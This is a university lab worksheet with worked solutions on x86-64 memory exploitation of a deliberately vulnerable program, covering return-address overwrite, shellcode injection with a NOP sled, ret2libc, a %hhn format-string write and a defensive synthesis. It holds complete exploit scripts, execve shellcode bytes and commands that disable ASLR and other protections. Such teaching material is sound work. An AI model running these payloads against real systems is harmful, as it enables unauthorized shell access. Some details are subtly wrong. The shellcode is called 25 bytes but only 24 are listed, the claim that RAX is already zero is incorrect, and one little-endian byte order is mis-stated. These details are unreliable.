University of Perpignan
C. Legrand

L3 Computer Science
Year 2026

TD6 Computer Security

StackX64 Project – Progressive x86-64 exploitation

Ethical and Legal Disclaimer

The techniques presented in this lab are studied within a **strictly academic context** in order to understand the exploitation mechanisms of memory vulnerabilities and thus be better able to defend against them.
Any use of these techniques outside the educational context is illegal and punishable under criminal law (Chapter III of the French Penal Code, Articles 323-1 to 323-8 – *Offences against automated data processing systems*):

- Unauthorized access to or remaining in an automated data processing system (Art. 323-1): **3 years** imprisonment and **€100,000** fine
- Obstructing the operation of an automated data processing system (Art. 323-2): **5 years** imprisonment and **€150,000** fine
- Fraudulent introduction of data into an automated data processing system (Art. 323-3): **5 years** imprisonment and **€150,000** fine

Penalties increased to **7 years** and **€300,000** when the targeted system processes personal data operated by the State, and up to **10 years** and **€300,000** for organized crime (Art. 323-4-1). *Penalties updated by the LOPMI law n°2023-22 of January 24, 2023.*

In this lab project, you will **progressively** explore exploitation techniques for memory vulnerabilities in x86-64. Starting from stack reconnaissance up to advanced attacks (shellcode, ret2libc, format strings for writing), each phase builds upon the previous one and introduces a new attack or defense technique.

Prerequisites: TD5 (simple buffer overflow, return address modification, format strings for reading). Basic knowledge of GDB and x86-64 assembly.

Required environment: Linux x86-64 machine (Debian 12/13 recommended). Tools: `gcc`, `gdb`, `python3`, `objdump`, `ROPgadget` (optional).

Warning

All exercises must be performed on a **dedicated virtual machine** or an isolated environment. Disable ASLR **only** in this environment:

```
sudo sysctl -w kernel.randomize_va_space=0
```

Exercise 1 (StackX64 Project)**.**

Phase 1 – Reconnaissance and memory mapping *(∼25 min)*

Course Reminder

The x86-64 stack and key registers:
In x86-64 architecture, the **stack** grows towards lower addresses. The main registers are:

- **RSP** (*Stack Pointer*): points to the top of the stack (last pushed value)
- **RBP** (*Base Pointer*): points to the base of the current function's stack frame
- **RIP** (*Instruction Pointer*): address of the next instruction to execute

Stack frame layout during a function call:

```
High addresses
+---------------------------+
| ...                       |
| Argument 7+ (if > 6 args)|  <-- pushed by the caller
+---------------------------+
| Return address (8 bytes)  |  <-- pushed by CALL
+---------------------------+
| Saved RBP (8 bytes)       |  <-- RBP points here
+---------------------------+
| Local variables           |  <-- RSP points to the bottom
| (buffer, etc.)            |
+---------------------------+
Low addresses
```

Essential GDB commands:

- `disassemble <func>`: disassemble a function
- `info registers`: display registers
- `x/Nx <addr>`: examine N memory words in hexadecimal
- `x/s <addr>`: examine a string
- `break *<addr>`: set a breakpoint at an address
- `run < <(python3 -c "...")`: run with Python-generated input

1a) Compile the program `stackx64.c` with **all protections disabled**:

```
gcc -fno-stack-protector -no-pie -z execstack -g stackx64.c -o stackx64
```

Run the program with normal input (e.g., `AAAA`). Observe the addresses displayed by the `[DEBUG]` messages.

1b) Open the program in GDB (`gdb ./stackx64`). Disassemble the function `vulnerable_function` with `disassemble vulnerable_function`. Identify the `sub rsp, 0x...` instruction that reserves space for local variables. What is the reserved size?

1c) Set a breakpoint after the `gets` in `vulnerable_function`. Enter `AAAAAAAA` (8 A's). Examine the stack with `x/20gx $rsp`. Draw the complete stack diagram identifying:

- The address and content of the buffer
- The address and value of the saved RBP
- The address and value of the return address

1d) Calculate the **offset** (distance in bytes) between the start of the buffer and the return address. Verify your calculation with GDB by sending a string of known length and observing the overwrite.

1e) Construct an input that redirects execution to `secret_function()` by overwriting the return address. Use Python3:

```
python3 -c "import sys; sys.stdout.buffer.write(b'A'*?? + b'\x...\x...\x
    ...\x...\x...\x...\x00\x00')"
```

Replace `??` with the offset and the `\x..` with the address of `secret_function` in **little-endian**.

Answer 1. ***1a)*** *After compilation and execution:*

```
$ gcc -fno-stack-protector -no-pie -z execstack -g stackx64.c -o stackx64
$ echo "AAAA" | ./stackx64
=== StackX64 - Vulnerable Program ===
[DEBUG] main() is at address:              0x401216
[DEBUG] secret_function() is at address:  0x4011d6
[DEBUG] vulnerable_function() is at:       0x4011f6
...
```

1b) *Disassembly of* `vulnerable_function`*:*

```
(gdb) disassemble vulnerable_function
   ...
   0x00000000004011fa <+4>:   push   rbp
   0x00000000004011fb <+5>:   mov    rbp,rsp
   0x00000000004011fe <+8>:   sub    rsp,0x40
   ...
```

The instruction `sub rsp, 0x40` *reserves* ***64 bytes*** *(0x40 = 64) for local variables, which corresponds to the* `char buffer[64]`*.*

1c) *Stack diagram:*

```
Address          Content                 Description
-----------      -----------------       -------------------
0x7fffffffde58   0x0000000000401247      Return address (to main)
0x7fffffffde50   0x00007fffffffde70      Saved RBP
0x7fffffffde4c   0x0000000000000000      \
0x7fffffffde48   0x0000000000000000       |
...              ...                      | buffer[64]
0x7fffffffde14   0x0000000000000000       |
0x7fffffffde10   0x4141414141414141      /  <-- start of buffer
```

1d) *Offset = buffer size + saved RBP = 64 + 8 =* ***72 bytes****.*

Verification with GDB: we send 72 `A`*'s + 8* `B`*'s and verify that the return address contains* `0x4242424242424242`*:*

```
(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'B
    '*8)")
(gdb) x/gx $rbp+8
0x7fffffffde58: 0x4242424242424242
```

1e) *The address of* `secret_function` *is* `0x4011d6`*. In little-endian:*

```
$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xd6\x11\x40\
    x00\x00\x00\x00\x00')" | ./stackx64
=== StackX64 - Vulnerable Program ===
...
==============================================
  SECRET FUNCTION REACHED!
  You successfully redirected execution!
==============================================
```

Key Takeaway

- *The offset between the buffer and the return address depends on the compiler and optimization options. You must* ***always verify with GDB****.*
- *In x86-64, addresses are 8 bytes but user-space addresses only use the lower 6 bytes (the upper 2 bytes are* `0x00`*).*
- *The return address is located at address* `RBP + 8` *(just above the saved RBP).*

Phase 2 – Shellcode analysis and testing *(∼30 min)*

Course Reminder

Shellcode: raw machine code
A **shellcode** is a sequence of bytes representing directly executable machine code, designed to be injected into memory. Its classic objective is to open a *shell* (`/bin/sh`).

x86-64 system call conventions (Linux):

Register	Role
`rax`	Syscall number (59 = `execve`)
`rdi`	1st argument (`filename`)
`rsi`	2nd argument (`argv`)
`rdx`	3rd argument (`envp`)

Null byte constraint: C string manipulation functions (`strcpy`, `gets`, etc.) stop at the first `0x00` byte. Therefore, the shellcode must contain **no null bytes**.

Here is a 25-byte x86-64 shellcode that executes `execve("/bin//sh", NULL, NULL)`:

```
xor     rsi, rsi                ; rsi = 0 (argv = NULL)
push    rsi                     ; push 0 (string terminator)
movabs  rdi, 0x68732f2f6e69622f ; rdi = "/bin//sh"
push    rdi                     ; push "/bin//sh" onto the stack
push    rsp                     ; push the address of the top of the
    stack
pop     rdi                     ; rdi = pointer to "/bin//sh"
xor     rdx, rdx                ; rdx = 0 (envp = NULL)
mov     al, 59                  ; rax = 59 (execve syscall number)
syscall                         ; execve system call
```

Shellcode execve – 25 bytes

Byte representation:

```
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68
\x57\x54\x5f\x48\x31\xd2\xb0\x3b\x0f\x05
```

2a) For each instruction in the shellcode above, explain its role in constructing the `execve("/bin//sh", NULL, NULL)` call.

2b) Why do we use `xor rsi, rsi` instead of `mov rsi, 0` to zero a register? What problem would `mov rsi, 0` cause? (Hint: examine the opcodes with `objdump` or an online assembler.)

2c) Explain the concept of the **NOP sled** (`0x90` = `NOP` instruction). Draw a diagram showing why we point to the middle of the NOP sled rather than exactly at the beginning of the shellcode.

2d) Compile and test the program `test_shellcode.c`:

```
gcc -z execstack -o test_shellcode test_shellcode.c
./test_shellcode
```

What happens? Type `exit` to quit the obtained shell.

Answer 2. *2a) Instruction-by-instruction annotation:*

1. *`xor rsi, rsi`: sets RSI to 0. RSI will be the 2nd argument of `execve` (`argv = NULL`).*
2. *`push rsi`: pushes 0 onto the stack. This zero will serve as the `\0` string terminator.*
3. *`movabs rdi, 0x68732f2f6e69622f`: loads the ASCII encoding of `"/bin//sh"` into RDI (in little-endian: `2f`=/, `62`=b, `69`=i, `6e`=n, `2f`=/, `2f`=/, `73`=s, `68`=h).*
4. *`push rdi`: pushes the string `"/bin//sh"` onto the stack.*
5. *`push rsp`: pushes the address of the top of the stack (which points to `"/bin//sh"`).*
6. *`pop rdi`: RDI = address of the string `"/bin//sh"` (1st argument of `execve`).*
7. *`xor rdx, rdx`: sets RDX to 0. RDX will be the 3rd argument of `execve` (`envp = NULL`).*
8. *`mov al, 59`: loads the `execve` syscall number (59) into AL (low byte of RAX). We use AL rather than RAX because RAX is already 0 (after `xor rsi,rsi` the CPU maintains the high bits at 0 following previous operations), and `mov al, 59` is encoded in 2 bytes without null bytes.*
9. *`syscall`: triggers the system call with RAX=59, RDI=→`"/bin//sh"`, RSI=0, RDX=0.*

2b) *`mov rsi, 0` is encoded as `48 c7 c6 00 00 00 00`: it contains **null bytes** (`0x00`). However, functions like `gets()`, `strcpy()` interpret `0x00` as a string terminator and stop copying. The shellcode would therefore be **truncated**.*

`xor rsi, rsi` is encoded as `48 31 f6` (3 bytes, no null bytes) and produces the same result: $x \oplus x = 0$.

2c) *The NOP sled is a zone of `NOP` instructions (`0x90`) placed before the shellcode:*

```
+-------------------------------------------+
| NOP NOP NOP NOP ... NOP NOP | shellcode  | return addr |
+-------------------------------------------+
^                           ^      ^
|                           |      |
Start of              Landing    Start of
NOP sled                zone     shellcode

RIP jumps somewhere into the NOP sled --> slides
down to the shellcode without error.
```

The exact address of the buffer may vary slightly between executions (environment variables, arguments). By pointing to the ***middle*** *of the NOP sled, we tolerate an error of ±(sled size / 2) bytes.*

2d) *The program* `test_shellcode.c` *allocates the shellcode in a global variable (*`.data` *section), casts it to a function pointer and calls it. With* `-z execstack` *(which also makes data executable on some configurations), the shellcode executes and opens an interactive* `/bin/sh` *shell.*

```
$ gcc -z execstack -o test_shellcode test_shellcode.c
$ ./test_shellcode
Shellcode length: 25 bytes
Executing shellcode...
$ whoami
student
$ exit
```

Key Takeaway

- ***Null bytes*** *(`0x00`) are the enemy of shellcode: they prematurely terminate copying by standard C functions.*
- *The double slash `//` in `"/bin//sh"` is treated identically to `/bin/sh` by the Linux kernel. This trick yields a string of exactly 8 bytes (1 quadword).*
- *The NOP sled increases* ***tolerance*** *to address imprecision.*

Phase 3 – Shellcode injection via buffer overflow *(∼35 min)*

Course Reminder

Structure of a shellcode injection payload:
The payload is constructed to fit exactly in the buffer + RBP + return address space:

```
+-----------------------------------------------+----------+
| NOP sled (0x90 * N) | Shellcode (25 bytes)    | Ret addr |
+-----------------------------------------------+----------+
|<------------ 72 bytes (offset) ------------>|<--8 b.-->|
                                                Total: 80 bytes
```

The return address points to an address **inside the NOP sled** (within the buffer).

Warning

ASLR must be **disabled** for this phase. Verify with:

```
cat /proc/sys/kernel/randomize_va_space
```

The value must be `0`. Otherwise: `sudo sysctl -w kernel.randomize_va_space=0`

3a) In GDB, find the exact address of the buffer. Set a breakpoint just after the `gets`, execute with any input, then examine the address displayed by the program or read the RSP register.

3b) Construct the complete Python3 payload:

- **NOP sled**: 47 bytes of `\x90`
- **Shellcode**: 25 bytes (given in Phase 2)
- **Return address**: 8 bytes pointing to the NOP sled (in little-endian)
- Total: $47 + 25 + 8 = 80$ bytes

Write the Python3 script that generates this payload.

3c) Execute the exploit:

```
(python3 exploit_phase3.py ; cat) | ./stackx64
```

The `; cat` keeps `stdin` open to interact with the obtained shell. Verify that you get a shell by typing `whoami`.

3d) Explain why the return address must be written in **little-endian**. Convert the address `0x7fffffffde10` to little-endian.

Warning

Addresses may be **different** between GDB and direct execution. GDB adds environment variables that shift the stack. If the exploit works in GDB but not outside, adjust the address (typically a few dozen bytes difference).

Answer 3. *3a) In GDB:*

```
(gdb) break vulnerable_function
(gdb) run
(gdb) disassemble
   ...
   0x000000000040120e <+24>:  lea     rax,[rbp-0x40]    ; buffer = rbp - 0x40
   ...
(gdb) next   (until after gets)
(gdb) print $rbp - 0x40
$1 = (void *) 0x7fffffffde10
```

The buffer address is `0x7fffffffde10`.

3b) Python3 script for the exploit:

```python
import sys

# Shellcode execve("/bin//sh", NULL, NULL) - 25 bytes
shellcode = (
```

```python
    b"\x48\x31\xf6"
    b"\x56"
    b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
    b"\x57\x54\x5f"
    b"\x48\x31\xd2"
    b"\xb0\x3b"
    b"\x0f\x05"
)

offset = 72            # buffer(64) + saved RBP(8)
nop_size = offset - len(shellcode)  # 72 - 25 = 47

# Address inside the NOP sled (middle of buffer)
# Adjust this address based on your GDB output
ret_addr = 0x7fffffffde10 + 20  # point to middle of NOP sled

nop_sled = b"\x90" * nop_size
addr_bytes = ret_addr.to_bytes(8, byteorder='little')

payload = nop_sled + shellcode + addr_bytes
sys.stdout.buffer.write(payload)
```

exploit_phase3.py

3c) *Exploit execution:*

```
$ (python3 exploit_phase3.py ; cat) | ./stackx64
=== StackX64 - Vulnerable Program ===
[DEBUG] main() is at address:             0x401216
[DEBUG] secret_function() is at address:  0x4011d6
[DEBUG] vulnerable_function() is at:      0x4011f6

[DEBUG] buffer is at address: 0x7fffffffde10
[DEBUG] Enter your input:
[DEBUG] You entered: (garbage)
whoami
student
exit
```

3d) *The x86-64 architecture uses* ***little-endian*** *byte order: the least significant byte is stored at the lowest address.*

Conversion of `0x7fffffffde10` *to little-endian:*

```
0x7fffffffde10 --> \x10\xde\xff\xff\xff\x7f\x00\x00
```

Key Takeaway

- *Shellcode injection provides the* ***same privileges*** *as the vulnerable program. If the program is* `setuid root`*, the attacker obtains a root shell.*
- *The* `; cat` *after the Python script is essential: without it,* `stdin` *closes immediately and the shell cannot receive commands.*
- *Addresses in GDB may differ by a few bytes compared to direct execution. The NOP sled absorbs this difference.*

Phase 4 – NX protection and Return-to-libc *(~35 min)*

Course Reminder

NX (No-eXecute) / DEP (Data Execution Prevention):
The **NX** protection marks the stack (and other data regions) as **non-executable**. Any attempt to execute code on the stack triggers a `SIGSEGV` signal.

Return-to-libc (ret2libc):
Instead of injecting code, we **reuse** functions already present in memory (in the libc). The call `system("/bin/sh")` requires:

1. A **gadget** `pop rdi; ret` to place the argument in RDI
2. The address of the string `"/bin/sh"` in the libc
3. The address of the `system()` function

16-byte stack alignment:
The x86-64 ABI requires RSP to be aligned to 16 bytes during a `call`. After a `ret` (which pops 8 bytes), RSP is no longer aligned. An additional `ret` gadget realigns the stack.

ret2libc payload structure:

```
+--------+-----+------------+----------+----------+
| Padding| ret | pop rdi;ret| "/bin/sh" | system() |
| 72 b.  |8 b. | 8 bytes    | 8 bytes  | 8 bytes  |
+--------+-----+------------+----------+----------+
           ^       ^              ^          ^
           |       |              |          |
         align   gadget       argument   function
```

4a) Recompile `stackx64.c` **without** `-z execstack` (NX enabled):

```
gcc -fno-stack-protector -no-pie -g stackx64.c -o stackx64
```

Relaunch the Phase 3 exploit. What happens and why?

4b) Find the address of `system()` in GDB:

```
(gdb) break main
(gdb) run
(gdb) print system
```

4c) Find the address of the string `"/bin/sh"` in the libc:

```
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
```

Then add the found offset to the base address of the libc (visible with `info proc mappings` in GDB).

4d) Find a `pop rdi; ret` gadget in the binary or the libc:

```
ROPgadget --binary stackx64 | grep "pop rdi"
```

Or with `objdump`:

```
objdump -d stackx64 | grep -A1 "pop.*rdi"
```

4e) Find a simple `ret` gadget (for alignment) in the binary.

4f) Construct the complete ret2libc payload in Python3 and execute the exploit.

4g) Fill in the comparison table between shellcode injection (Phase 3) and ret2libc (Phase 4):

Criterion	**Shellcode injection**	**Return-to-libc**
Code injected?		
Works with NX?		
Requires `-z execstack`?		
Payload flexibility		
Construction complexity		
Sensitive to libc ASLR?		

Answer 4. *4a) The Phase 3 exploit causes a `SIGSEGV` (segmentation fault). The processor attempts to execute the shellcode located on the **stack**, but the stack is marked **non-executable** (NX enabled). The hardware detects the violation and the kernel sends `SIGSEGV`.*

4b) Address of `system()`:

```
(gdb) break main
(gdb) run
(gdb) print system
$1 = {int (const char *)} 0x7ffff7e17290 <__libc_system>
```

4c) Finding "/bin/sh":

```
$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
  1b3d88 /bin/sh
(gdb) info proc mappings
          Start Addr           End Addr   ...   objfile
      0x7ffff7dc0000      0x7ffff7fe8000   ...   libc.so.6
```

Address of "/bin/sh" = `0x7ffff7dc0000 + 0x1b3d88 = 0x7ffff7f73d88`

4d) Gadget `pop rdi; ret`:

```
$ ROPgadget --binary stackx64 | grep "pop rdi"
0x0000000000401283 : pop rdi ; ret
```

4e) Gadget `ret` (for alignment):

```
$ ROPgadget --binary stackx64 | grep ": ret$"
0x000000000040101a : ret
```

4f) Python3 script for the ret2libc exploit:

```python
import sys

offset = 72

# Addresses (adjust based on your system)
ret_gadget      = 0x40101a            # ret (alignment)
pop_rdi_ret     = 0x401283            # pop rdi; ret
bin_sh_addr     = 0x7ffff7f73d88      # "/bin/sh" in libc
system_addr     = 0x7ffff7e17290      # system() in libc
```

```python

def p64(addr):
    return addr.to_bytes(8, byteorder='little')

payload  = b"A" * offset
payload += p64(ret_gadget)        # align stack to 16 bytes
payload += p64(pop_rdi_ret)       # pop rdi; ret
payload += p64(bin_sh_addr)       # rdi = "/bin/sh"
payload += p64(system_addr)       # call system("/bin/sh")

sys.stdout.buffer.write(payload)
```

exploit_phase4.py

Execution:

```
$ (python3 exploit_phase4.py ; cat) | ./stackx64
=== StackX64 - Vulnerable Program ===
...
whoami
student
```

4g) *Completed comparison table:*

Criterion	***Shellcode injection***	***Return-to-libc***
Code injected?	*Yes (on the stack)*	*No (reuses libc)*
Works with NX?	*No*	*Yes*
Requires `-z execstack`*?*	*Yes*	*No*
Payload flexibility	*Very high*	*Limited to libc functions*
Construction complexity	*Medium*	*High*
Sensitive to libc ASLR?	*No (code on stack)*	*Yes*

Key Takeaway

- *NX prevents code execution on the stack, but* ***does not prevent*** *reuse of existing code (ret2libc, ROP).*
- ***Stack alignment*** *to 16 bytes is mandatory under x86-64: an additional* `ret` *gadget is often necessary.*
- *Ret2libc demonstrates that a single protection is not enough:* ***defense in depth*** *is needed (NX + ASLR + canaries + ...).*

Phase 5 – Format string write attack *(∼30 min)*

Course Reminder

The %n specifier: from reading to writing
In TD5, you used `%x` and `%p` to **read** the stack via `printf(buffer)`. The `%n` specifier goes further: it **writes** the number of characters printed so far to the address pointed to by the corresponding argument.

Variants of %n:

Format	Write size	Usage
`%n`	4 bytes (int)	Full write
`%hn`	2 bytes (short)	16-bit write
`%hhn`	1 byte (char)	8-bit write

Direct access with $: The format `%k$hhn` uses the **k-th** argument on the stack for writing, without consuming the preceding arguments.

64-bit difficulty: x86-64 addresses like `0x00000000004040XX` contain **null bytes**. If the address is at the beginning of the string, `printf` stops at the first `0x00`. Solution: place the address **at the end of the string** and adjust the offset `k`.

Warning

Compile `formatx64.c` with:

```
gcc -fno-stack-protector -no-pie -U_FORTIFY_SOURCE -g formatx64.c -o
    formatx64
```

The option `-U_FORTIFY_SOURCE` disables the protection that blocks `%n` in recent versions of the glibc.

5a) Locate the buffer on the stack using `%p`:

```
./formatx64 "AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
```

Find the offset `k` such that `%k$p` displays `0x4141414141414141` (the 8 `A`'s = `0x41`).

5b) Find the address of the global variable `is_admin` with `nm` or `objdump`:

```
nm formatx64 | grep is_admin
```

5c) Construct the `%hhn` exploit to write a non-zero value to `is_admin`. The strategy is:

(a) Place the address of `is_admin` at the end of the payload (after the format specifiers)
(b) Use padding to adjust the number of characters printed
(c) Use `%hhn` with the appropriate offset to write to `is_admin`

5d) Execute the exploit and verify that the message `"Admin access granted!"` is displayed.

Answer 5. ***5a)*** *Locating the buffer on the stack:*

```
$ ./formatx64 "AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p"
=== FormatX64 - Format String Vulnerability ===

[DEBUG] is_admin is at address: 0x404040
[DEBUG] is_admin value (before): 0

AAAAAAAA.0x7fffffffdc30.0x7ffff7f9a2a0.(nil).0x7fffffffdd40.
0x7ffff7ffdaa0.0x4141414141414141.0x2e70252e70252e2e.0x252e70252e70252e
```

We see `0x4141414141414141` *at position* ***6****. Therefore* `k = 6`*:*

```
$ ./formatx64 $(python3 -c "print('AAAAAAAA%6\$p')")
... 0x4141414141414141 ...
```

5b) *Address of* `is_admin`*:*

```
$ nm formatx64 | grep is_admin
0000000000404040 B is_admin
```

The address is `0x404040`*.*

5c) *Constructing the exploit. The address* `0x404040` *contains null bytes (*`0x00 0x00 0x40 0x40 0x40 0x00 0x00 0x00`*). We place it at the* ***end of the string****. We must calculate the position of this address on the stack.*

The buffer starts at offset 6 on the stack. If our format string is 16 bytes before the address (2 quadwords), the address will be at offset $6 + 2 = 8$*.*

Python3 script:

```python
import sys, struct

is_admin_addr = 0x404040

# Build the format string:
# We need %hhn to write 1 byte to is_admin
# The address is placed at the end (after format specifiers)
# to avoid null byte truncation.

# Strategy: write 1 byte (any non-zero value) to is_admin
# Padding: adjust character count to desired value
# The address will be at offset k on the stack

# Format string: "<padding>%<offset>$hhn" + address
# The padding ensures we have printed a non-zero number of chars
# before %hhn writes that count to the target address

# Our buffer starts at stack offset 6
# The format string part: "AA%8$hhnBBB" = 11 bytes + 5 padding = 16 bytes
# Then the address at offset 8 (= 6 + 16/8 = 6 + 2)

fmt = b"AA%8$hhnBBBBB"  # 13 bytes, pad to 16
fmt = fmt.ljust(16, b"C")
payload = fmt + struct.pack("<Q", is_admin_addr)

sys.stdout.buffer.write(payload)
```

exploit_phase5.py

Execution:

```
$ ./formatx64 $(python3 exploit_phase5.py)
=== FormatX64 - Format String Vulnerability ===

[DEBUG] is_admin is at address: 0x404040
[DEBUG] is_admin value (before): 0

AA@@BBBBB...

[DEBUG] is_admin value (after): 2

==========================================
  Admin access granted!
==========================================
```

5d) *The message* `"Admin access granted!"` *is displayed because* `is_admin` *now equals 2 (the number of characters* `"AA"` *printed before the* `%hhn`*), which is non-zero ⇒ the condition* `if(is_admin)` *is true.*

Warning

The exact offset depends on the format string length and stack alignment. It often requires trial and error to adjust. Use GDB to verify the position of the address on the stack.

Key Takeaway

- `%n` *transforms a* ***read*** *vulnerability (classic format string) into an* ***arbitrary write*** *vulnerability.*
- *In 64-bit, addresses contain null bytes ⇒ place the address* ***at the end of the string*** *to avoid truncation.*
- `%hhn` *(1-byte write) is easier to control than* `%n` *(4 bytes) because you only need to print* ≤ 255 *characters.*

Phase 6 – Synthesis and defense mechanisms *(∼25 min)*

Course Reminder

Defense in depth:
No single protection blocks all attacks. Security relies on **multiple complementary layers**:

Mechanism	Principle	GCC Flag
Stack canaries	Sentinel value before the return address	`-fstack-protector`
NX / DEP	Non-executable stack	(enabled by default)
ASLR	Memory address randomization	(kernel)
PIE	Executable code at random address	`-pie`
Full RELRO	Read-only GOT	`-Wl,-z,relro,-z,now`

6a) For each of the 5 defense mechanisms (stack canaries, NX, ASLR, PIE, Full RELRO), describe in 2-3 sentences:

- Its **operating principle**
- Which **attack(s)** it blocks
- The **compilation or system flag** to enable/disable it

6b) Fill in the following matrix (5 protections × 4 attacks). For each cell, indicate: **BLOCKS**, **does not block**, or **partially** (with justification).

	Overflow → secret()	**Shellcode injection**	**Ret2libc**	**Format string %n**
Stack canaries				
NX / DEP				
ASLR				
PIE				
Full RELRO				

6c) What **minimal combination** of protections blocks all 4 types of attacks seen in this lab?

6d) **Reflection:** An advanced attacker has techniques such as *information leaks* to bypass ASLR and complex *ROP chains* to bypass NX. Why does **defense in depth** remain necessary despite these bypasses?

Answer 6. ***6a)*** *Description of the 5 mechanisms:*

1. ***Stack canaries****: A random value ("canary") is placed between local variables and the saved return address. Before the* `ret`*, the compiler checks that this value has not been modified.* ***Blocks*** *buffer overflows that overwrite the return address (the attacker must overwrite the canary to reach the return address, which triggers program termination).* ***Flags****:* `-fstack-protector` / `-fno-stack-protector`*.*

2. ***NX / DEP****: Memory pages are marked with an NX (No-eXecute) bit. The stack, heap, and data segments are marked non-executable. The processor refuses to execute code located in these regions.* ***Blocks*** *shellcode injection on the stack or heap.* ***Flags****:* `-z execstack` *(disables) / enabled by default.*

3. ***ASLR*** *(Address Space Layout Randomization): The kernel randomizes the addresses of the stack, heap, libc, and shared libraries at each execution. The attacker can no longer predict addresses.* ***Blocks*** *(partially) attacks requiring known addresses (shellcode injection, ret2libc).* ***Command****:* `sysctl kernel.randomize_va_space=2` *(enable) /* `=0` *(disable).*

4. ***PIE*** *(Position-Independent Executable): The executable's own code is compiled to be loaded at a random address (complementing ASLR which randomizes libraries). The attacker can no longer rely on fixed addresses in the binary (gadgets, functions).* ***Flags****:* `-pie` / `-no-pie`*.*

5. ***Full RELRO*** *(Relocation Read-Only): The GOT (Global Offset Table), which contains the addresses of shared library functions, is resolved at load time and made* ***read-only****. This prevents GOT overwriting (an advanced attack technique).* ***Flags****:* `-Wl,-z,relro,-z,now` *(full) /* `-Wl,-z,norelro` *(disable).*

6b) *Protection × attack matrix:*

	Overflow → secret()	***Shellcode injection***	***Ret2libc***	***Format string %n***
Stack canaries	*BLOCKS*	*BLOCKS*	*BLOCKS*	*does not block*
NX / DEP	*does not block*	*BLOCKS*	*does not block*	*does not block*
ASLR	*does not block*	*partially*	*BLOCKS*	*partially*
PIE	*partially*	*partially*	*partially*	*partially*
Full RELRO	*does not block*	*does not block*	*does not block*	*partially*

Justifications for "partially"*:*

- ***ASLR / shellcode injection****: the stack address is randomized, but a very large NOP sled could compensate (brute-force attack). This is impractical in 64-bit (address space too large) but theoretically possible.*
- ***ASLR / format string****: stack addresses change, but an information leak (`%p`) can reveal current addresses.*
- ***PIE****: randomizes binary addresses (gadgets, functions like `secret_function`), but an information leak can bypass the protection.*
- ***Full RELRO / format string****: prevents GOT overwriting but not other memory targets.*

6c) *Minimal combination:*
Stack canaries + NX + ASLR *block all 4 attacks:*

- *Overflow → secret(): blocked by* ***stack canaries*** *(canary overwrite is detected)*
- *Shellcode injection: blocked by* ***NX*** *(non-executable stack) and* ***stack canaries***
- *Ret2libc: blocked by* ***ASLR*** *(unpredictable libc addresses) and* ***stack canaries***
- *Format string `%n`: writing is more difficult with* ***ASLR*** *(unknown target addresses), but canaries do not directly protect. However, with ASLR + PIE, global variable addresses are also randomized.*

In practice, the combination ***Stack canaries + NX + ASLR + PIE*** *provides robust coverage.*

6d) *Defense in depth remains necessary because:*

- *Each individual protection has* ***known limitations****: information leaks (`%p`, timing side-channels) bypass ASLR, ROP chains bypass NX, partial overwrites bypass canaries.*
- *The attacker must* ***chain multiple bypasses*** *when several protections are active. The probability of success decreases multiplicatively.*
- *New vulnerabilities and exploitation techniques are discovered regularly. A protection considered robust today could be bypassed tomorrow.*
- *Modern compilers (`gcc`, `clang`) enable* ***all*** *these protections by default (stack canaries, NX, ASLR, PIE, partial RELRO). The developer must explicitly disable them (as in this lab) to allow the attacks.*

Key Takeaway

- ***No single protection is sufficient**: stack canaries do not block format strings, NX does not block ret2libc, ASLR is bypassable through information leaks.*
- ***Defense in depth** forces the attacker to bypass multiple mechanisms simultaneously, considerably increasing the difficulty.*
- *Modern compilers enable **all** these protections by default. In this lab, we disabled them one by one to understand their role.*
- *The best defense remains **writing safe code**: use `fgets()` instead of `gets()`, `snprintf()` instead of `sprintf()`, and always validate inputs.*